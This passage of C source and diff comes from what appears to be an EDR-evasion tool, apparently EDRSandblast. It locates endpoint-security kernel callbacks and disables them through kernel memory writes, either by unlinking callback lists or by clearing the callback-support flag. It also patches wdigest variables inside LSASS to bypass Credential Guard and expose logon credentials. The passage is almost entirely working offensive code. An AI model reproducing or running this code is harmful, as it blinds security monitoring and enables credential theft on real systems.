cbEntry != ObjectType_Callbacks_List;
|
||||
cbEntry = ReadMemoryDWORD64(cbEntry)) {
|
||||
if (FoundObjectCallbacks->index >= 256) {
|
||||
_putts_or_not(TEXT("[!] No more space to store object callbacks !!! This should not happen. Exiting..."));
|
||||
exit(1);
|
||||
}
|
||||
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
|
||||
if (ObjectTypeField != ObjectType) {
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
|
||||
exit(1);
|
||||
}
|
||||
DWORD Operations = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Operations);
|
||||
TCHAR* OperationsString;
|
||||
switch (Operations) {
|
||||
case 1: // OB_OPERATION_HANDLE_CREATE
|
||||
OperationsString = TEXT("creations");
|
||||
break;
|
||||
case 2: // OB_OPERATION_HANDLE_DUPLICATE
|
||||
OperationsString = TEXT("duplications");
|
||||
break;
|
||||
case 3: // OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE
|
||||
OperationsString = TEXT("creations & duplications");
|
||||
break;
|
||||
default:
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
|
||||
exit(1);
|
||||
}
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\tCallback at %p for handle %s:\n"), (PVOID)cbEntry, OperationsString);
|
||||
BOOL Enabled = ReadMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled);
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tStatus: %s\n"), Enabled ? TEXT("Enabled") : TEXT("Disabled"));
|
||||
DWORD64 PreOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PreOperation);
|
||||
if (PreOperation) {
|
||||
DWORD64 driverOffset;
|
||||
TCHAR* driverNamePreOperation = FindDriverName(PreOperation, &driverOffset);
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tPreoperation at 0x%016llx [%s + 0x%llx]\n"), PreOperation, driverNamePreOperation, driverOffset);
|
||||
if (isDriverNameMatchingEDR(driverNamePreOperation)) {
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
|
||||
if (Enabled) {
|
||||
_putts_or_not(TEXT("and is enabled!"));
|
||||
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
|
||||
cb->type = OBJECT_CALLBACK;
|
||||
cb->driver_name = driverNamePreOperation;
|
||||
cb->removed = FALSE;
|
||||
cb->callback_func = PreOperation;
|
||||
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
|
||||
FoundObjectCallbacks->index++;
|
||||
found |= TRUE;
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("but is disabled."));
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
DWORD64 PostOperation = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_PostOperation);
|
||||
if (PostOperation) {
|
||||
DWORD64 driverOffset;
|
||||
TCHAR* driverNamePostOperation = FindDriverName(PostOperation, &driverOffset);
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tPostoperation at 0x%016llx [%s + 0x%llx]\n"), PostOperation, driverNamePostOperation, driverOffset);
|
||||
if (Enabled && isDriverNameMatchingEDR(driverNamePostOperation)) {
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
|
||||
if (Enabled) {
|
||||
_putts_or_not(TEXT("and is enabled!"));
|
||||
if (FoundObjectCallbacks->index != 0 &&
|
||||
FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) {
|
||||
//skip if last callback function belong to the same callback entry (preoperation)
|
||||
continue;
|
||||
}
|
||||
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
|
||||
cb->type = OBJECT_CALLBACK;
|
||||
cb->driver_name = driverNamePostOperation;
|
||||
cb->removed = FALSE;
|
||||
cb->callback_func = PostOperation;
|
||||
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
|
||||
FoundObjectCallbacks->index++;
|
||||
found |= TRUE;
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("but is disabled."));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return found;
|
||||
}
|
||||
|
||||
|
||||
void EnableDisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks, BOOL enable) {
|
||||
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
|
||||
return;
|
||||
}
|
||||
for (DWORD64 i = 0; i < FoundObjectCallbacks->index; i++) {
|
||||
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[i];
|
||||
if (cb->type == OBJECT_CALLBACK && cb->removed == enable) {
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t%s %s callback...\n"), enable ? TEXT("Enabling") : TEXT("Disabling"), cb->driver_name);
|
||||
WriteMemoryDWORD(cb->addresses.object_callback.enable_addr, enable ? TRUE : FALSE);
|
||||
cb->removed = !cb->removed;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void DisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) {
|
||||
EnableDisableEDRProcessAndThreadObjectsCallbacks(FoundObjectCallbacks, FALSE);
|
||||
}
|
||||
|
||||
void EnableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundObjectCallbacks) {
|
||||
EnableDisableEDRProcessAndThreadObjectsCallbacks(FoundObjectCallbacks, TRUE);
|
||||
}
|
||||
|
||||
void EnableDisableAllProcessAndThreadObjectsCallbacks(BOOL enable) {
|
||||
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
|
||||
return;
|
||||
}
|
||||
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
|
||||
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
|
||||
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
|
||||
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
|
||||
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
|
||||
|
||||
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
|
||||
cbEntry != ObjectType_Callbacks_List;
|
||||
cbEntry = ReadMemoryDWORD64(cbEntry)) {
|
||||
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
|
||||
if (ObjectTypeField != ObjectType) {
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry, exiting..."));
|
||||
exit(1);
|
||||
}
|
||||
WriteMemoryDWORD(cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled, enable ? TRUE : FALSE);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* ------- CallbackList unlinking strategy --------
|
||||
* The following functions use the fact that the CallbackList of an _OBJECT_TYPE can be emptied by making it point to itself
|
||||
* However, if the kernel memory write primitive used to overwrite a pointer is not "atomic" (e.g. the RTCore64 driver's writes 2 DWORDs successively), there
|
||||
* is a high risk of race condition where the CallbackList is used by the system while one of its pointers is only partial overwritten (thus invalid), which
|
||||
* is likely to result in a crash.
|
||||
* Handle creation/duplication for processes and threads being very frequent, this strategy is thus risky in some cases.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Count callbacks set on Process & Thread handle manipulation, but is unnable to differentiate EDR-related callbacks from potentially legitimate ones
|
||||
* Depends only on documented symbols
|
||||
*/
|
||||
SIZE_T CountProcessAndThreadObjectsCallbacks() {
|
||||
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
|
||||
return 0;
|
||||
}
|
||||
SIZE_T nbCallbacks = 0;
|
||||
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
|
||||
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
|
||||
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
|
||||
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
|
||||
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
|
||||
|
||||
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink));
|
||||
cbEntry != ObjectType_Callbacks_List;
|
||||
cbEntry = ReadMemoryDWORD64(cbEntry + offsetof(LIST_ENTRY, Flink))) {
|
||||
nbCallbacks++;
|
||||
ObjectTypesSubjectToCallback[i].nbCallbacks++;
|
||||
}
|
||||
_tprintf_or_not(TEXT("Counting %llu registered callbacks for %s\n"), ObjectTypesSubjectToCallback[i].nbCallbacks, ObjectTypesSubjectToCallback[i].name);
|
||||
}
|
||||
|
||||
return nbCallbacks;
|
||||
}
|
||||
|
||||
/*
|
||||
* Unlink all process and thread handle callbacks (EDR related or not)
|
||||
* (no critical system component should be in these list anyway)
|
||||
*/
|
||||
void RemoveAllProcessAndThreadObjectsCallbacks() {
|
||||
if (!NtoskrnlObjectCallbackOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
|
||||
return;
|
||||
}
|
||||
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
|
||||
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
|
||||
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
|
||||
if (ObjectTypesSubjectToCallback[i].nbCallbacks) {
|
||||
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
|
||||
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
|
||||
ObjectTypesSubjectToCallback[i].callbackListAddress = ObjectType_Callbacks_List;
|
||||
|
||||
ObjectTypesSubjectToCallback[i].callbackListFlinkBackup = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink));
|
||||
ObjectTypesSubjectToCallback[i].callbackListBlinkBackup = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Blink));
|
||||
WriteMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink), ObjectType_Callbacks_List);
|
||||
WriteMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Blink), ObjectType_Callbacks_List);
|
||||
_tprintf_or_not(TEXT("Unlinked the callback entries for %s\n"), ObjectTypesSubjectToCallback[i].name);
|
||||
}
|
||||
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
/*
|
||||
* Re-link all process and thread handle callbacks that were unlinked
|
||||
*/
|
||||
void RestoreAllProcessAndThreadObjectsCallbacks() {
|
||||
GetAdditionnalObjectCallbackOffsets();
|
||||
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
|
||||
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
|
||||
|
||||
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
|
||||
if (ObjectTypesSubjectToCallback[i].callbackListAddress && ObjectTypesSubjectToCallback[i].nbCallbacks) {
|
||||
DWORD64 callbackListAddress = ObjectTypesSubjectToCallback[i].callbackListAddress;
|
||||
WriteMemoryDWORD64(callbackListAddress + offsetof(LIST_ENTRY, Flink), ObjectTypesSubjectToCallback[i].callbackListFlinkBackup);
|
||||
WriteMemoryDWORD64(callbackListAddress + offsetof(LIST_ENTRY, Blink), ObjectTypesSubjectToCallback[i].callbackListBlinkBackup);
|
||||
_tprintf_or_not(TEXT("Re-linked the original callback entries for %s\n"), ObjectTypesSubjectToCallback[i].name);
|
||||
}
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
/*
|
||||
* ------- CallbackList unlinking strategy END --------
|
||||
*/
|
||||
|
||||
|
||||
/*
|
||||
* ------- SupportCallbacks bit strategy --------
|
||||
*/
|
||||
/*
|
||||
* Enables/Disables Callback support for processes and threads entirely. The "SupportsObjectCallbacks" field of _OBJECT_TYPE being checked by ObpCreateHandle before checking if CallbackList
|
||||
* is not empty (and before listing & calling the callbacks). No callback support, no callbacks.
|
||||
* WARNING : This flag is actually checked by PatchGuard ! There is a risk that PatchGuard will notice a change, even if temporary, and cause a BSOD.
|
||||
*/
|
||||
void EnableDisableProcessAndThreadObjectsCallbacksSupport(BOOL enable) {
|
||||
GetAdditionnalObjectCallbackOffsets();
|
||||
|
||||
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
|
||||
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
|
||||
|
||||
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
|
||||
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
|
||||
DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo;
|
||||
WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags);
|
||||
if (enable) {
|
||||
TypeInfo_ObjectTypeFlags |= SupportObjectCallbacks_bit;
|
||||
}
|
||||
else {
|
||||
TypeInfo_ObjectTypeFlags &= ~SupportObjectCallbacks_bit;
|
||||
}
|
||||
WriteMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags, TypeInfo_ObjectTypeFlags);
|
||||
_tprintf_or_not(TEXT("[+] Callback support for %s has been %s\n"), ObjectTypesSubjectToCallback[i].name, enable ? TEXT("enabled") : TEXT("disabled"));
|
||||
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
BOOL AreObjectsCallbacksSupportEnabled(struct ObjTypeSubjectToCallback objTypSubjCb) {
|
||||
GetAdditionnalObjectCallbackOffsets();
|
||||
|
||||
DWORD64 ObjectType = ReadKernelMemoryDWORD64(objTypSubjCb.offset);
|
||||
DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo;
|
||||
WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags);
|
||||
BOOL enable = (TypeInfo_ObjectTypeFlags & SupportObjectCallbacks_bit) != 0;
|
||||
_tprintf_or_not(TEXT("[+] Callback support for %s is %s\n"), objTypSubjCb.name, enable ? TEXT("enabled") : TEXT("disabled"));
|
||||
|
||||
return enable;
|
||||
}
|
||||
|
||||
BOOL AreProcessAndThreadsObjectsCallbacksSupportEnabled() {
|
||||
BOOL enabled = FALSE;
|
||||
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
|
||||
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
|
||||
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
|
||||
enabled |= AreObjectsCallbacksSupportEnabled(ObjectTypesSubjectToCallback[i]);
|
||||
}
|
||||
return enabled;
|
||||
}
|
||||
/*
|
||||
* ------- SupportCallbacks bit strategy --------
|
||||
*/
|
||||
@@ -4,6 +4,7 @@
|
||||
#include <tlhelp32.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "WdigestOffsets.h"
|
||||
|
||||
DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
|
||||
@@ -17,14 +18,14 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
|
||||
// Take a snapshot of all processes in the system.
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
|
||||
_putts_or_not(TEXT("[!] Cred Guard bypass failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Retrieve information about the first process,
|
||||
// and exit if unsuccessful
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: obtained invalid process handle\n")); // show cause of failure
|
||||
_putts_or_not(TEXT("[!] Cred Guard bypass failed: obtained invalid process handle")); // show cause of failure
|
||||
CloseHandle(hProcessSnap); // clean the snapshot object
|
||||
return 1;
|
||||
}
|
||||
@@ -38,21 +39,21 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
|
||||
CloseHandle(hProcessSnap);
|
||||
|
||||
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) != 0 || pe32.th32ProcessID == 0) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: coudln't find LSASS process\n"));
|
||||
_putts_or_not(TEXT("[!] Cred Guard bypass failed: coudln't find LSASS process"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Open an handle to the LSASS process.
|
||||
hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
|
||||
if (hLsass == NULL || hLsass == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't open lsass memory (OpenProcess, error code 0x%lx)\n"), GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass failed: couldn't open lsass memory (OpenProcess, error code 0x%lx)\n"), GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
HMODULE hModulesArray[512] = { 0 };
|
||||
DWORD lpcbNeeded;
|
||||
if (!EnumProcessModules(hLsass, hModulesArray, sizeof(hModulesArray), &lpcbNeeded)) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't enumerate lsass loaded modules (EnumProcessModules, error code 0x%lx)\n"), GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass failed: couldn't enumerate lsass loaded modules (EnumProcessModules, error code 0x%lx)\n"), GetLastError());
|
||||
CloseHandle(hLsass);
|
||||
return 1;
|
||||
}
|
||||
@@ -61,14 +62,14 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
|
||||
TCHAR szModulename[MAX_PATH];
|
||||
for (DWORD i = 0; i < (lpcbNeeded / sizeof(HMODULE)); i++) {
|
||||
if (hModulesArray[i] && !GetModuleFileNameEx(hLsass, hModulesArray[i], szModulename, _countof(szModulename))) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module name for module at index 0x%lx (GetModuleFileNameEx, error code 0x%lx)\n"), i, GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module name for module at index 0x%lx (GetModuleFileNameEx, error code 0x%lx)\n"), i, GetLastError());
|
||||
continue;
|
||||
}
|
||||
|
||||
if (_tcsstr(szModulename, TEXT("wdigest"))) {
|
||||
MODULEINFO moduleInfo = { 0 };
|
||||
if (hModulesArray[i] && !GetModuleInformation(hLsass, hModulesArray[i], &moduleInfo, sizeof(MODULEINFO))) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module information for module at index 0x%lx (GetModuleInformation, error code 0x%lx)\n"), i, GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module information for module at index 0x%lx (GetModuleInformation, error code 0x%lx)\n"), i, GetLastError());
|
||||
continue;
|
||||
}
|
||||
|
||||
@@ -84,87 +85,87 @@ DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
|
||||
* Setting g_fParameter_UseLogonCredential to 0x1.
|
||||
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
|
||||
*/
|
||||
DWORD64 useLogonCredentialAddress = wdigestBaseAddress + wdigestOffsets.st.g_fParameter_UseLogonCredential;
|
||||
DWORD64 useLogonCredentialAddress = wdigestBaseAddress + g_wdigestOffsets.st.g_fParameter_UseLogonCredential;
|
||||
DWORD useLogonCredentialPatch = 0x1;
|
||||
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), useLogonCredentialAddress);
|
||||
_tprintf_or_not(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), useLogonCredentialAddress);
|
||||
//if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead))
|
||||
if (ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, ¤tValue, CurrentValueLength, &bytesRead)) {
|
||||
_tprintf(TEXT("[+] Found wdigest's g_fParameter_UseLogonCredential with a current value of 0x%lx\n"), currentValue);
|
||||
_tprintf_or_not(TEXT("[+] Found wdigest's g_fParameter_UseLogonCredential with a current value of 0x%lx\n"), currentValue);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_fParameter_UseLogonCredential value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_fParameter_UseLogonCredential value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
if (currentValue != useLogonCredentialPatch) {
|
||||
if (WriteProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, (PVOID)&useLogonCredentialPatch, sizeof(DWORD), &bytesWritten)) {
|
||||
ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, ¤tValue, CurrentValueLength, &bytesRead);
|
||||
if (currentValue == useLogonCredentialPatch) {
|
||||
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_fParameter_UseLogonCredential value to 0x%lx\n"), currentValue);
|
||||
_tprintf_or_not(TEXT("[+] Successfully overwrote wdigest's g_fParameter_UseLogonCredential value to 0x%lx\n"), currentValue);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_fParameter_UseLogonCredential value (current value 0x%lx instead of 0x%lx)\n"), currentValue, useLogonCredentialPatch);
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_fParameter_UseLogonCredential value (current value 0x%lx instead of 0x%lx)\n"), currentValue, useLogonCredentialPatch);
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_fParameter_UseLogonCredential value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_fParameter_UseLogonCredential value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] wdigest's g_fParameter_UseLogonCredential is already patched!\n"));
|
||||
_putts_or_not(TEXT("[+] wdigest's g_fParameter_UseLogonCredential is already patched!"));
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
_putts_or_not(TEXT("\n"));
|
||||
|
||||
/*
|
||||
* Setting g_IsCredGuardEnabled to 0x0.
|
||||
* Needs to temporary set the memory page of g_IsCredGuardEnabled to PAGE_READWRITE to conduct the patch.
|
||||
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
|
||||
*/
|
||||
DWORD64 credGuardEnabledAddress = wdigestBaseAddress + wdigestOffsets.st.g_IsCredGuardEnabled;
|
||||
DWORD64 credGuardEnabledAddress = wdigestBaseAddress + g_wdigestOffsets.st.g_IsCredGuardEnabled;
|
||||
DWORD isCredGuardEnabledPatch = 0x0;
|
||||
currentValue = 0x0;
|
||||
bytesRead = 0;
|
||||
bytesWritten = 0;
|
||||
DWORD oldMemoryProtection = 0x0;
|
||||
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), credGuardEnabledAddress);
|
||||
_tprintf(TEXT("[*] Attempting to set wdigest's g_IsCredGuardEnabled memory protection as PAGE_READWRITE\n"));
|
||||
_tprintf_or_not(TEXT("[*] Attempting to patch wdigest's g_IsCredGuardEnabled at 0x%I64x\n"), credGuardEnabledAddress);
|
||||
_putts_or_not(TEXT("[*] Attempting to set wdigest's g_IsCredGuardEnabled memory protection as PAGE_READWRITE"));
|
||||
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), PAGE_READWRITE, &oldMemoryProtection)) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: Failed to set wdigest's g_IsCredGuardEnabled memory protection to PAGE_READWRITE (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: Failed to set wdigest's g_IsCredGuardEnabled memory protection to PAGE_READWRITE (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
if (ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, ¤tValue, CurrentValueLength, &bytesRead)) {
|
||||
_tprintf(TEXT("[+] Found wdigest's g_IsCredGuardEnabled with a current value of 0x%lx\n"), currentValue);
|
||||
_tprintf_or_not(TEXT("[+] Found wdigest's g_IsCredGuardEnabled with a current value of 0x%lx\n"), currentValue);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_IsCredGuardEnabled value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_IsCredGuardEnabled value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
if (currentValue != isCredGuardEnabledPatch) {
|
||||
if (WriteProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, (PVOID)&isCredGuardEnabledPatch, sizeof(DWORD), &bytesWritten)) {
|
||||
ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, ¤tValue, CurrentValueLength, &bytesRead);
|
||||
if (currentValue == isCredGuardEnabledPatch) {
|
||||
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_IsCredGuardEnabled value to 0x%lx\n"), currentValue);
|
||||
_tprintf_or_not(TEXT("[+] Successfully overwrote wdigest's g_IsCredGuardEnabled value to 0x%lx\n"), currentValue);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_IsCredGuardEnabled value (current value 0x%lx instead of 0x%lx)\n"), currentValue, isCredGuardEnabledPatch);
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_IsCredGuardEnabled value (current value 0x%lx instead of 0x%lx)\n"), currentValue, isCredGuardEnabledPatch);
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_IsCredGuardEnabled value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_IsCredGuardEnabled value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] wdigest's g_IsCredGuardEnabled is already patched!\n"));
|
||||
_putts_or_not(TEXT("[+] wdigest's g_IsCredGuardEnabled is already patched!"));
|
||||
}
|
||||
DWORD newMemoryProtection = 0x0;
|
||||
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), oldMemoryProtection, &newMemoryProtection)) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: Failed to restore wdigest's g_IsCredGuardEnabled memory protection to its original value (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
|
||||
_tprintf_or_not(TEXT("[!] Cred Guard bypass non fatal error: Failed to restore wdigest's g_IsCredGuardEnabled memory protection to its original value (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] Successfully restored wdigest's g_IsCredGuardEnabled memory protection to its original value\n"));
|
||||
